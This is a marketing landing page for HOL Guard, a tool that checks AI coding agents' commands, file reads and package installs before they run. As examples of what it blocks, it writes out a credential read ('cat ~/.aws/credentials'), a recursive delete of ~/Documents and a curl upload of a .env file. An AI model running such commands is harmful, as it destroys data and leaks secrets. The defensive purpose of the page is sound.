Skip to main content
Illustration of Guard checking one agent session. Not a recorded run.

~/payments-api · claude

You asked

Fix the failing deploy, then push it.

What the agent tried, and what Guard did

  1. npm testProject scriptAllowed
  2. rm -rf build/Inside the projectAllowed
  3. cat ~/.aws/credentialsCloud keys outside the projectBlocked
  4. npm install left-padderFlagged by the supply-chain checkAsks you
  5. git push --force origin mainRewrites history on mainAsks you

Security for the AI on your computer.
Risky actions wait for you.

HOL Guard is free, open-source security for any AI you run on your machine: Claude Code, Codex, Cursor, OMP and the MCP servers they connect to. It checks each command, file read, package install and MCP tool call before it runs. Routine work goes through. Deleting your files, reading your keys or force-pushing main waits for your yes.

  • Destructive commands
  • Secret reads
  • Package installs
  • MCP tool calls
  • Git history rewrites

Free to start. Install directly, or run the risk check first.

Runs on your computer, so your files stay on itWorks even with no internet
Works with
Codex
Claude Code
Cursor
OpenCode
Antigravity CLI
Hermes
OpenClaw
OMP

Open-source security for AI agents that people already run.

Guard's packages have 2.5M+ downloads on PyPI. HOL's open-source repositories have 5.5K+ GitHub stars. Every rule it applies was written in public.

  • Works with 8 AI agents and apps
  • 300+ extensions
  • 55.5% to 71.3% fewer tokens with CIGAR
  • Free and local
Open source on GitHub

Built in the open

Credit comes only from public pull requests and verified commits in the Guard repository, never from thank-you notes.

HOL is a neutral consortium building agentic AI Standards

Bonzo Finance logo
HashPack logo
SentX logo
Neuron logo
Kiloscribe logo
Buidler Labs logo
Hashgate logo
HGRAPH logo
Tashi logo
Turtlemoon logo
GoDaddy logo
XMTP logo
Intuition logo
Skale logo
Openmatter logo
Layerd logo
agent logo
DSR logo
Todaq logo
SwytchCode logo
Bond Credit logo
Gradient logo
Matterhorn logo
Lynxify logo
STFG logo
April logo
PacSpace logo
UnthinkAI logo
IvyFi logo
AgentaOS logo
TalentAI logo
Theagora logo
VDV logo
Horizen Labs logo
Bonzo Finance logo
HashPack logo
SentX logo
Neuron logo
Kiloscribe logo
Buidler Labs logo
Hashgate logo
HGRAPH logo
Tashi logo
Turtlemoon logo
GoDaddy logo
XMTP logo
Intuition logo
Skale logo
Openmatter logo
Layerd logo
agent logo
DSR logo
Todaq logo
SwytchCode logo
Bond Credit logo
Gradient logo
Matterhorn logo
Lynxify logo
STFG logo
April logo
PacSpace logo
UnthinkAI logo
IvyFi logo
AgentaOS logo
TalentAI logo
Theagora logo
VDV logo
Horizen Labs logo

Watch Guard stop a risky AI agent action.

The most dangerous thing an AI agent can do is exactly what you asked. In 1:16, see how Guard catches the risky step and hands the decision back to you.

  • An agent tries something risky and Guard pauses it
  • You allow it once, always allow it, or block it
  • Every decision is saved as a receipt you can review
Install Guard free

How Guard checks Claude Code, Codex, OMP and other AI before each action.

Think of Guard as a firewall for the AI on your computer. It sits between the AI and your machine, so the risky moves get a second look and everything else runs as usual.

Builds, tests, edits and reads inside your project run without a prompt. You can change any default.

  • Deleting files

    Blocked
    rm -rf ~/Documents

    Recursive deletes outside the project stop before they run.

  • Reading secrets

    Blocked
    cat ~/.aws/credentials

    Cloud keys, SSH keys and .env files stay closed to the agent.

  • Sending data out

    Blocked
    curl -X POST https://… -d @.env

    Uploads that carry local files or credentials are caught.

  • Installing packages

    Asks you
    npm install left-padder

    Installs are checked against supply-chain data first. Flagged packages wait for you.

  • Rewriting Git history

    Asks you
    git push --force origin main

    Force pushes, hard resets and branch deletes ask first.

  • Calling MCP tools

    Asks you
    mcp: filesystem.write_file

    New or changed MCP servers are reviewed before launch, and risky tool calls ask first.

How a check works

Guard connects to the hooks your agent already has. Install it once and it covers every session.

Install steps for each agent
  1. Your agent picks an action

    Claude Code, Codex, Cursor or another supported agent decides to run a command, read a file, install a package or call an MCP tool.

  2. Guard checks it on your computer

    Guard compares the action with its built-in protections, the extensions you turned on and your own rules. Nothing is uploaded to decide.

  3. It runs, waits, or stops

    Routine work goes straight through. Risky work waits for your answer, and Guard remembers it. Every decision gets a receipt you can review.

  • Runs on your computerYour files, prompts and keys stay on it.
  • Works offlineChecks keep running with no connection.
  • Open sourceEvery rule is on GitHub to read.
  • A receipt for each decisionSee what ran, what waited and why.

Cut Claude Code and Codex token costs with CIGAR.

Agents spend much of a session searching for code you could have pointed them to. CIGAR, part of Guard, adds a short note to each prompt naming the files and line ranges that matter. The agent starts in the right place and reads less.

Tasks passed with and without it: 89 of 96 sessions with Guard, 95 of 96 without.

Same tasks, with and without CIGAR
AgentTokensCost, 32 sessions
Oh My Pi−71.3%$0.73 $0.30
Codex−66.5%$0.54 $0.22
Claude Code−55.5%$15.15 $7.88

300+ Guard extensions for the CLIs and MCP servers your agent uses.

An extension tells Guard what a CLI or MCP server can do and which of its actions deserve a second look: a force push, a dropped table, a deleted bucket, a package install. Docker, Kubernetes, Terraform, AWS, npm, pip and hundreds more are covered.

Browse all 300+ extensions

Maintain a CLI or MCP server? Add its extension.

Every agent that runs Guard will know which of your tool’s actions need a yes. Extensions are open source, and the review happens in public on GitHub.

  1. Join the newsletter

    Leave your email below. The guide opens right after.

  2. Write the extension

    Describe what your CLI or MCP server can do and which actions should ask first.

  3. Open a pull request

    Reviewed in public on GitHub. Accepted authors get credit on the extension page.

How contributions are reviewed
  1. 1. Join the newsletter
  2. 2. Open the guide on GitHub

Already subscribed? Go straight to the guide (opens on GitHub)

Why people run Guard between their AI and their machine.

Unsolicited words from people who installed it, ran it, and looked at the code — not paid placements.

Product Hunt

“An invaluable tool.”

Kevin Zepeda-Compton

Product Hunt

Product Hunt

“Exactly what we need.”

Adrian Tomkins

Product Hunt

Product Hunt

“Exactly what was missing.”

Petr Kovacik

Product Hunt

Product Hunt

“Incredible work.”

Brandon Davenport

Product Hunt

Product Hunt

“An invaluable tool.”

Kevin Zepeda-Compton

Product Hunt

Product Hunt

“Exactly what we need.”

Adrian Tomkins

Product Hunt

Product Hunt

“Exactly what was missing.”

Petr Kovacik

Product Hunt

Product Hunt

“Incredible work.”

Brandon Davenport

Product Hunt

X

“More useful than half the polished AI demos.”

@AIDailyGems

X

LinkedIn

“The millisecond overhead is a small price.”

Timur Cimerman

Engineer

Product Hunt

“I like that this sits before the agent.”

Yaroslav Stelmakh

Product Hunt

X

“More useful than half the polished AI demos.”

@AIDailyGems

X

LinkedIn

“The millisecond overhead is a small price.”

Timur Cimerman

Engineer

Product Hunt

“I like that this sits before the agent.”

Yaroslav Stelmakh

Product Hunt

Built in the open

v3.61.0published

HOL Guard v3.61.0, released November 23, 2026, is a stable release with 32 additions, 155 improvements, 100 fixes and 31 other changes across 264 merged pull requests. Highlights: Add extension listing for mcp.aifa-memory (v1.9.8); Add AIfa Memory hosted MCP server contribution (v1.9.8).

Questions about AI agent security

Install HOL Guard and run `hol-guard install claude-code`. Guard connects to Claude Code’s hooks and reviews commands, file reads, package installs and MCP tool calls before they run. Routine work inside your project goes straight through. Deleting files outside the project, reading cloud keys or force-pushing main stops or waits for your answer. The same install works for Codex, Cursor and other supported agents.

Guard reviews new or changed MCP servers in your agent’s config before they launch, and checks risky MCP tool calls before they run. Extensions describe what a given MCP server can do, so Guard knows which of its tools deserve a second look.

Yes, through CIGAR, a Guard feature that gives the agent short notes about the project it is working in so it reads less. In HOL’s published benchmark of long coding tasks, CIGAR used 55.5% to 71.3% fewer tokens. The method, seeds and raw results are on GitHub.

An extension tells Guard what a CLI or MCP server can do and which of its actions need a second look, such as a dropped database, a deleted cloud bucket or a package install. The catalog lists more than 300 of them. Extensions built by HOL and HOL-curated trusted libraries are on by default; community extensions stay off until you turn them on. Anyone can submit one through a pull request on GitHub.

Yes. Guard is free forever on one machine. On supported integrations, Guard evaluates supported action surfaces locally without an account or internet connection. Coverage is harness- and event-specific.

Guard evaluates supported actions locally. Check startup and action latency on your supported host; timing depends on the action, harness, and configured services.

Nothing, by default. Guard never sends your file contents anywhere. If you choose Guard Cloud, only a short record of what was allowed or blocked is synced — never your files, prompts, or passwords.

Guard supports a growing set of AI coding tools with harness-specific integrations. Each support entry documents the event surfaces Guard can evaluate before or after execution.

Guard Local can enforce supported action surfaces offline. Coverage is harness- and event-specific; Guard Cloud syncs when connectivity returns.

Tools like Snyk and npm audit report known dependency issues. On supported integrations and event surfaces, Guard can review an AI action before execution and block it under the configured policy.

No problem — every block is one tap away from approval. You review what your AI wanted to do, press allow, and Guard remembers your choice for next time.

Run `hol-guard daemon stop`, then `pipx uninstall hol-guard`. Guard leaves nothing running in the background. Your history stays in a `~/.hol-guard` folder unless you delete it.

Guard works through supported integrations, so setup depends on your AI tool. On supported event surfaces, it checks actions under the configured policy and prompts when review is needed.

MCP security tools include scanners, gateways, and runtime controls. Scanners such as Cisco mcp-scanner and Invariant mcp-scan inspect MCP servers and configs. Cloud MCP gateways mediate MCP traffic. HOL Guard is a local-first runtime control for AI agents and the tools they use. On supported integrations, it evaluates shell commands, secret access, MCP changes, and plugin or skill installs before they run. It is not a cloud MCP gateway and not a complete prompt-injection preventer.

An AI coding agent firewall is a control that can evaluate an agent action before it has side effects. HOL Guard is a local-first runtime control for that job on supported surfaces: shell, secrets, MCP changes, and plugin or skill installs. It is not a network firewall, not a cloud MCP gateway, and not a complete prompt-injection preventer.

Plugin supply-chain security scores installable plugins before they run. HOL's plugin catalog and plugin-scanner assign those scores. A scan is not a safety guarantee. The current public catalog scanner is a fallback static scan, not a live exploit test. Machine-readable snapshot: https://huggingface.co/datasets/HashgraphOnline/hol-plugin-security. Catalog plugin counts are not Registry Broker agent counts. HOL publishes this snapshot; benchmark fixtures in it are modeled.

HOL Guard reduces impact at supported action boundaries. On those surfaces it can pause, block, or ask before a supported action runs. It is not a complete prompt-injection preventer. Coverage is harness- and event-specific.

Start free. Add Guard Cloud only if you need it.

  • Get install instructions by email
  • Save your setup
  • Receive curated advisories
  • Link one device to your account

Guard Cloud is a separate, optional plan: Solo keeps your decision history across your devices, and Pro and Team add shared policy. Compare plans

Enter your email to create your free account.

Supported agents

Install Guard for the AI you use in 60 seconds.

  1. 1Install Guard
  2. 2Copy and run a command below

Cursor

set -o pipefail; curl -fsSL https://hol.org/guard/install.sh | bash -s -- --harness cursor --mode install --verify

Installs Guard and configures Cursor in one step. Already installed?

Security hub

Understand the threats.
Stop them locally.

Prompt injection, MCP tool poisoning, supply-chain attacks, and secret exfiltration — real threats against AI coding agents, explained with detection steps and fixes.

Explore the security hub

Learn about prompt injection, malicious MCP servers, and secret exfiltration

Real attack breakdowns, detection steps, and Guard configuration for each threat. Browse advisories, warnings, and interactive labs.

Browse advisories & warnings
Two layers, one product

Guard Local vs Guard Cloud

Guard Local reviews supported agent actions on your computer. Cloud adds shared rules and team dashboards; check the compatibility guide for the events your installed agent exposes.

Guard Local

Runs on the developer machine and applies configured policy at supported agent events. Local decisions can continue without Cloud connectivity, with a local trail of covered actions.

  • Local review for supported Git, package, and secret workflows
  • Local blocking for supported pre-action events
  • Local decision trail for approvals and changes

Guard Cloud

Adds shared policy, org-wide telemetry, and team dashboards on top of the local enforcement layer. Cloud connectivity is for visibility and coordination, not for enforcement.

  • Synced module settings and searchable module history
  • Organization module policy local devices cannot weaken
  • Shared policy, dashboards, and evidence export

Questions, answered

HOL Guard, in plain English

What it is, what it protects, how the open-source boundary works, and how to evaluate fit.

What is HOL Guard?

HOL Guard is a local-first runtime security layer for AI agents. Its core Guard Local runtime is open source and evaluates supported tool calls and local artifacts, blocks known threats, pauses ambiguous actions for approval, and records security receipts. Guard Local runs on the developer machine without a cloud account. Guard Cloud is an optional, separately scoped service for synchronization, shared policy, fleet visibility, and team workflows.

What does HOL Guard protect against?

HOL Guard protects supported AI-agent workflows against secret and credential exposure, destructive commands, prompt-injection-driven actions, malicious or changed packages, risky MCP configuration, and unsafe plugins, skills, hooks, and agent settings. Enforcement depth varies by agent and event type, so the public coverage matrix states what is blocked, reviewed, observed, or not covered.

Is HOL Guard open source?

HOL Guard's core Guard Local runtime is open source under Apache-2.0. It can be installed, inspected, and used without a paid plan or cloud account, and normal local protection continues offline. Guard Cloud is an optional, separately scoped service for synchronized evidence, shared policy, fleet visibility, and team workflows.

What are the best alternatives to HOL Guard?

The best alternative depends on the control boundary you need. Native agent approvals confirm individual actions, static scanners inspect packages and MCP configurations, sandboxes isolate processes, model guardrails filter prompts and outputs, and gateways centralize MCP or network traffic. HOL Guard is the open-source local-runtime option for cross-agent policy, pre-execution review on supported events, approvals, and local evidence.

For maintainers and plugin publishers

For maintainers

The scanner
for agent
ecosystems.

Validate extensions before release. Use plugin-scanner for maintainer CI checks, then use hol-guard locally to enforce runtime decisions.

maintainer quickstart
# Local maintainer gate
$ pipx install plugin-scanner
$ plugin-scanner verify .

# GitHub Actions PR gate
permissions:
contents: read
security-events: write
jobs:
scan-plugin:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: hashgraph-online/ai-plugin-scanner-action@v1
with:
plugin_dir: "."
min_score: 80
fail_on_severity: high

Multi-ecosystem detection

Auto-detects Codex plugins, Claude Code plugins, Antigravity CLI extensions, and OpenCode workspace bundles in any repository.

Trust scores and badges

Computes a weighted trust score across security, MCP posture, installability, and maintenance. Plugins that pass can display Scanner Clean, MCP Hardened, and Marketplace Ready badges.

GitHub Action for CI

Use plugin-scanner verify in CI, or the published ai-plugin-scanner action, to gate PRs before release.

MCP transport hardening

Flags insecure HTTP MCP endpoints, wildcard binds, and missing auth postures before they reach production.

Manifest and marketplace validation

Checks relative paths, required screenshots, privacy policy URLs, and plugin metadata completeness — the same rules the HOL Registry uses for import.

Skill-level security scanning

Scans bundled skills for prompt injection markers, zero-width characters, dangerous shell commands, and secret leaks.

Add a safety layer
before the next command.

Create a free account. Install locally in 30 seconds. No credit card required.

Support open agent security

Help keep the work open.

Explore sponsorship options and how support for HOL Guard maintenance is recognized.

See sponsorships